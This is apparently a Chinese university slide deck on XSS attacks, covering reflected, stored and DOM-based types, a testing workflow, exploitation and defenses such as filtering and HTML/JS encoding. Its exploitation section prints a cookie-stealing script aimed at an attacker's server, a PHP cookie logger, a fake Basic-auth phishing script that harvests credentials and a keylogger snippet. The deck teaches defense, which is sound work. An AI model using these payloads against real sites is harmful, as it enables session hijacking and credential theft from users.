Web安全技术 课件 3 XSS攻击_第1页
Web安全技术 课件 3 XSS攻击_第2页
Web安全技术 课件 3 XSS攻击_第3页
Web安全技术 课件 3 XSS攻击_第4页
Web安全技术 课件 3 XSS攻击_第5页
已阅读5页,还剩35页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第2章XSS攻击及防护01XSS基础知识02XSS漏洞的测试思路03XSS攻击的利用方式04XSS漏洞的标准防护方法目录CONTENTSXSS基础知识XSS攻击XSS攻击的原理<script>alert(‘haha’)</script>XSS基础知识XSS攻击XSS攻击的定义

XSS攻击(跨站脚本攻击)是指攻击者利用网站程序对用户输入过滤不足的缺陷,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或对访问者进行病毒侵害的一种攻击方式。其英文全称为CrossSiteScripting,原本缩写应当是CSS,但为了和层叠样式表(CascadingStyleSheet,CSS)有所区分,安全专家们通常将其缩写成XSS。XSS攻击本质上是一种将恶意脚本嵌入到当前网页中并执行的攻击方式。黑客通过“HTML注入”行为篡改网页,并插入恶意JavaScript脚本,从而在用户浏览网页的时候控制浏览器行为。XSS漏洞产生的主要原因是网站对于用户提交的数据过滤不严格,攻击者利用其用户身份在输入参数时附带了恶意脚本,在提交到服务器后,服务器没有对用户端传入的参数做任何安全过滤,将脚本存储在数据库中或直接回显给用户。恶意脚本有很多表现形式,如常见的弹窗、窃取用户Cookie、弹出广告等,这也是跨站攻击的直接效果。XSS攻击的原理XSS攻击XSS基础知识反射型XSSXSS的分类页面将用户输入的数据通过URL的形式直接或未经完善的安全过滤就在浏览器中进行输出。由于此类型的跨站代码存在于URL中,因此,黑客通常需要通过诈骗或加密变形等方式,将存在恶意代码的链接发给用户,只有用户点击以后才能使攻击成功实施。存储型XSSWeb应用程序将用户输入的数据信息保存在服务端的数据库或其他文件形式中,只要用户访问具有XSS攻击脚本的网页时,就会触发攻击效果,常见的场景就是博客或新闻发布系统中的评价区。基于DOM的XSS由于JavaScript的DOM节点编程可以改变HTML代码这个特性而形成的攻击。由于构造语句具有较大的难度,且实现效果及要求较为苛刻,因此较为少见。XSS基础知识XSS攻击目标网页有攻击者可控的输入点这是攻击得以实施的前提。或目标网页不存储可控的输入点,则攻击语句就无法提交给系统。0102输入信息可以在受害者的浏览器中显示XSS攻击的受害者是访问过包含XSS恶意代码页面的用户,输入内容需要在用户页面上进行展示才能展开XSS攻击。0304目标网页可输入可执行脚本在信息输入和输出过程中没有特殊字符的过滤和字符的转义等防护措施,或者说防护措施可以通过一定的手段绕过。浏览器具备解析、执行脚本的能力这是攻击得以实施的最后条件,即使前三个条件都满足,如果此条件不满足,攻击仍然无法实现。攻击条件XSS攻击XSS基础知识01XSS基础知识02XSS漏洞的测试思路03XSS攻击的利用方式04XSS漏洞的标准防护方法目录CONTENTS01020304漏洞挖掘,寻找输入点寻找输出点确定测试数据输出位置输入简单的跨站代码进行测试XSS攻击XSS漏洞的测试思路基本测试流程01漏洞挖掘,寻找输入点XSS攻击XSS漏洞的测试思路基本测试流程一般情况下,XSS攻击是通过“HTML注入”方式来实现的。也就是说,攻击者通过提交参数,意图修改当前页面的HTML结构。XSS攻击成功时,提交的参数格式可在当前页面拼接成可执行的脚本。XSS漏洞存在的要求是:当前页面存在参数显示点,且参数显示点可被用户控制输入。反射型XSS攻击一般存在于网站的搜索页面、登录页面等用户的简单交互页面,或者GET型请求的URL里。存储型XSS一般发生在留言板、在线信箱、评论栏等外,表现特征是用户可自行输入数据,并且数据会提交给服务器。除了直接观察之外,利用Web代理工具抓包来提交参数也是寻找输入点的一个有效途径。在一些输入点隐蔽或者用户输入被JS脚本限制的页面,可以采用Burpsuite抓包的方式寻找输入点。02寻找输出点XSS攻击XSS漏洞的测试思路基本测试流程XSS攻击的受害者是访问过包含XSS恶意代码页面的用户,输入内容需要在用户页面上进行展示才能展开XSS攻击。测试输出点位置主要基于两个目的:确定网站对输入内容是否进行了输出,判断是否可以展开XSS攻击。有时候需要根据输出的位置的HTML环境来编写有效的XSS代码。需要注意的是,攻击者一般会利用正常内容进行第一步测试,寻找内容显示点。之所以第一步使用正常内容,主要是为了避免攻击行为提前暴露。有些输出点无法直接回显,例如一些网站的“站长信箱”模块。用户输入的内容可能不会在前台展示,或者需要一定的时间通过人工审核后才能展示,因此也无法直接观察测试结果,这给测试输出点带来了很大的难度。03确定测试数据输出位置XSS攻击XSS漏洞的测试思路基本测试流程在输入内容不能正常显示的情况下,一般通过判断是否会输出,或者直接尝试XSS攻击窃取cookie。由于后台审核的一般是管理员账户,若测试成功可直接获得管理权限,但直接对管理员实施的XSS攻击也增加了被发现的风险。这也就是俗称的“XSS盲打后台”。XSS盲打的目标功能点通常有:留言板意见反馈点私信功能文件上传点中的信息输入框在线提交信息XSS的语句在插入后并不会马上被执行,而是在此功能被使用后方能产生效果。可以看出,此类功能点均有很大概率会被管理员运行,导致XSS盲打的攻击代码会在管理员访问此类功能时被执行。总之,XSS盲打的目标是找到输入点插入跨站代码,并且要求插入的代码由管理员在正常Web应用流程中触发。因此,如何寻找与管理员的“互动”成为关键点。04输入简单的跨站代码进行测试XSS攻击XSS漏洞的测试思路基本测试流程通过前面三个步骤的测试,可发现具体的输入点及输出位置,那么存在XSS漏洞的基本条件已经具备了。但XSS攻击在这个测试点是否能顺利进行,就需要通过一些基本的跨站代码来测试了。如果其中环节被过滤,则攻击依然无效。测试XSS攻击的经典方式就是“弹窗测试”,即在输入一段可以产生弹窗效果的JavaScript脚本,如果刷新页面产生了弹窗表示XSS攻击测试成功。在输入点输入如下的弹窗测试脚本:<script>alert(“haha”)</script>点击“submit”按钮,如果弹出以下对话框,表示测试成功,该测试点存在XSS攻击漏洞。大小写绕过双写绕过更换标签闭合标签常用的测试方法XSS攻击XSS漏洞的测试思路测试流程找到输出点,猜测输出是否可能存在跨站不存在漏洞无输出点有输出点寻找输入点,输入多组简单数据进行测试输入点不可控有输入点确定输入数据输出位置输出位置不可控输入简单的跨站代码测试输出效果确认位置有后续,继续测试XSS漏洞的测试思路XSS攻击01XSS基础知识02XSS漏洞的测试思路03XSS攻击的利用方式04XSS漏洞的标准防护方法目录CONTENTSXSS攻击的利用方式XSS攻击

XSS攻击广泛存在于有数据交互的地方。OWASPTOP10多次把XSS威胁列在其中。之前所使用的弹窗测试只是用来证明XSS的存在,但远远不能说明XSS的危害,毕竟弹出窗口,显示文字等交不会对用户产生实质性影响。事实上,XSS脚本具有相当大的威胁,其危害远比想象中要严重。究其原因,一方面是脚本语言本身具有强大的控制能力,另一方面是能带来对浏览器漏洞利用的权限提升。XSS攻击的利用方式窃取CookieXSS攻击

如果说弹窗是XSS测试中的一种经典的测试方式,那么窃取Cookie则是XSS攻击的一个常见行为。Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie是由Web服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。无论何时用户链接到服务器,Web站点都可以访问Cookie信息。

Windows10中Cookie文件所在位置为:C:\Users\Bruce\AppData\Local\Microsoft\Windows\INetCookiesXSS攻击的利用方式窃取CookieXSS攻击

由于HTTP的特性,Cookie是目前Web系统识别用户身份和会话保持状态的主要方式。一旦应用程序中存在跨站脚本执行漏洞,那么攻击者就能利用XSS攻击轻易地获取被攻击者的Cookie信息,并伪装成当前用户登录,执行恶意操作等行为。如果受害用户是管理员,那么攻击者甚至可以轻易获取Web系统的管理权限。这类权限通常会有文件修改、上传,连接数据库等功能,再配合后续的攻击,会给当前Web应用安全带来很大的威胁。XSS攻击的利用方式窃取CookieXSS攻击

攻击者要通过XSS获取用户的Cookie,就需要编写对应的获取当前用户Cookie的脚本。这里假设攻击者在常规运行的网站的留言板上发现了一个存储型XSS漏洞,那么攻击者就可以使用下面的代码进行跨站攻击:<script>Document.location=‘http://攻击者自己的服务器域名或IP/cookie.php?cookie=’+document.cookie;</script>XSS攻击的利用方式窃取CookieXSS攻击

当用户浏览到留言板上的这条信息时,浏览器会加载这段“留言信息”,从而触发了这个JS攻击脚本。攻击脚本便会读取该正常网站下的用户Cookie,并将Cookie作为参数以GET方式提交到攻击者的服务器。

在攻击者的服务器上,攻击者事先准备好了一个Cookie.php文件,放在Web的根目录下,该文件代码如下:<?php$cookie=$_GET[‘cookie’];$log=fopen(“cookie.txt”,”a”);Fwrite($log,$cookie);Fclose($log);?>XSS攻击的利用方式窃取CookieXSS攻击

当有用户触发攻击时,攻击者服务器中的Cookie.php便会接收受害者传入的Cookie,并保存在本地文件Cookie.txt中。若Cookie还在有效期内,攻击者便可以利用该Cookie伪装成受害用户进行登录,进行非法操作。XSS攻击的利用方式网络钓鱼XSS攻击

攻击者精心构造的跨站代码可以实现更多的功能,诸如改变网站的前端页面,构造虚假的表单来诱导用户填写信息等。如果攻击者利用一个正规网站的XSS漏洞来伪造一个钓鱼页面,那么与传统的钓鱼网站相比,具有非常强的迷惑性。XSS攻击的利用方式网络钓鱼XSS攻击

假设还是一个正规网站的留言板,通过测试发现有XSS漏洞。攻击者构造了如下一段跨站代码:<scriptsrc=“/auth.php?id=yVCEB3&info=input+your+account”></script>其中,是攻击者服务器的域名,攻击者在上面提前写好了一个PHP文件,命名为auth.phpXSS攻击的利用方式网络钓鱼XSS攻击Auth.php代码如下:<?Error_reporting(0);If((!isset($_SERVER[‘PHP_AUTH_USER’]))||(!isset($_SERVER[‘PHP_AUTH_PW’]))){Header(‘WWW-Authenticate:basicrealm=”’.addslasher(trim($_GET[info])).’”’);Header(‘HTTP/1.0401Unauthorized’);Echo‘AuthorizationRequired.’;Exit;}Elseif((isset($_SERVER[‘PHP_AUTH_USER’]))&&(isset($_SERVER[‘PHP_AUTH_PW’]))){Header(“Location:/index.php?do=api&id={$_GET[id]}&username={$_SERVER[‘PHP_AUTH_USER’]}&password=

{$_SERVER[‘PHP_AUTH_PW’]}”);}?>XSS攻击的利用方式网络钓鱼XSS攻击XSS攻击的利用方式网络钓鱼XSS攻击

常见的XSS网络钓鱼还有重定向钓鱼、跨框架钓鱼等,高级的网络钓鱼还可以劫持用户表单获取明文密码等。每种钓鱼都要依据跨站漏洞站点的实际情况来部署XSS代码,伪造方式也是层出不穷,感兴趣的同学可以自行在互联网上查阅相关资料。XSS攻击的利用方式窃取客户端信息XSS攻击

攻击者在筹备一场有预谋的攻击时,获取尽可能多的攻击对象的信息是必不可少的,而JS脚本可以帮助攻击者通过XSS漏洞的利用来达到这个目的。通过使用JS脚本,攻击者可以获取用户浏览器访问记录、IP地址、开放端口、剪贴板内容、按键记录等许多敏感信息,并将其发送到自己的服务器保存下来。

下面以监听用户键盘动作为例,看看如何通过跨站代码来实现。XSS攻击的利用方式窃取客户端信息XSS攻击

当用户在访问登录、注册、支付等页面时,在页面下的按键操作一般都是输入账号、密码等重要信息。如果攻击者在这些页面构造了跨站攻击脚本,便可记录用户的按键信息,并将信息传输到自己的远程服务器,那么用户的密码等资料便发生了泄漏。构造的跨站代码如下(为了更好的演示效果,将监听到的用户按键直接采用网页弹窗弹出):<script>FunctionkeyDown(){varrealkey=String.fromCharCode(event.keyCode);Alert(realkey);}document.onkeydown=keyDown;</script>01XSS基础知识02XSS漏洞的测试思路03XSS攻击的利用方式04XSS漏洞的标准防护方法目录CONTENTSXSS漏洞的标准防护方法XSS攻击XSS的原理比较直观,就是注入一段能够被浏览器解释执行的代码,并且通过各类手段使得这段代码“镶嵌”在正常网页中,由用户在正常访问中触发。然而,一旦此类安全问题和代码联系起来,会直接导致镶嵌的内容千变万化。因此,XSS漏洞一旦被利用,所造成的危害往往不是出现一个弹窗那么简单。

XSS作为安全漏洞已出现在安全人员及公众视野多年,防护思路相对成熟,但是要想很好地防御它却不是那么简单。究其原因,一是客户端使用的Web浏览器本身就存在很多安全问题,而这些浏览器正好是XSS的攻击战场;二是Web应用程序中存在广泛的输入/输出交互点,开发人员却常常忽视此问题,即使已经存在数量巨大的漏洞,在没有影响正常业务开展的情况下,开发人员也无暇去修补。

XSS漏洞的标准防护方法过滤特殊字符XSS攻击

过滤特殊字符的方法又称为XSSFilter,其作用就是通过过滤客户端提交的有害信息,从而防范XSS攻击。

XSS攻击代码要想执行,必须使用一些脚本中的关键函数或者标签,如果能编写一个较为严密的过滤函数,将输入信息中的关键字过滤掉,那么跨站脚本就不能被浏览器识别和执行了。XSS漏洞的标准防护方法过滤特殊字符XSS攻击

HTMLFilter过滤了许多HTML特性、JS关键字、空字符、特殊字符,看起来十分严格。目前很多XSS防护方案都采用这样的代码来针对输入信息进行预处理。

然而,对于技术高超的攻击者,安全能找到有效对策绕过过滤,主要是利用新增的HTML标签实现。这也是一种有力的提醒,即使有了防御手段,也不能保证绝对的安全,还需要动态调整过滤项目,切不可掉以轻心。XSS漏洞的标准防护方法使用实体化编码XSS攻击

在测试和使用的跨站代码中,几乎都会使用到一些常见的特殊符号。有了这些特殊符号,攻击者就可以肆意地进行闭合标签、篡改页面、提交请求等行为。在输出内容之前,如果能够对特殊字符进行编码和转义,让浏览器能知道这些字符是被用作文字显示而不是作为代码执行,就会使攻击代码无法被浏览器执行。

编码的方式有很多种,每种都适应于不同的环境。XSS漏洞的标准防护方法使用实体化编码——HTML编码XSS攻击

这种方案是对HTML中特殊字符的重新编码,称为HTMLEncode。为了对抗XSS,需要将一些特殊符号进行HTML实体化编码。在PHP中,可以使用htmlspecialchars()来进行编码,编码的转换方式如下:编码前编码后&&<<>>“"‘'//XSS漏洞的标准防护方法使用实体化编码——HTML编码XSS攻击

当网页中输出这些已经被HTML实体化编码的特殊符号时,在HTML源码中会显示为编码后的字符,并由浏览器将它们翻译成特殊字符并在用户页面上显示。通俗点说,HTML是替换编码,告知浏览器哪些特殊字符只能作为文本显示,不能当作代码执行。从而规避了XSS风险。

一句话总结:实体化编码的意义在于严格限定了数据就是数据,避免数据被当作代码进行执行。XSS漏洞的标准防护方法使用实体化编码——JS编码XSS攻击

用户的输入信息有时候会被嵌入到JS代码块中,作为动态内容输出。从安全角度和JS语言的特性考虑,需要对输出信息中的特殊字符进行转义。通常情况下,可使用函数来完成下面的转义规则:转义前转义后‘\’“\”\\\/\/在OWASPESAPI中有一个安全的

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论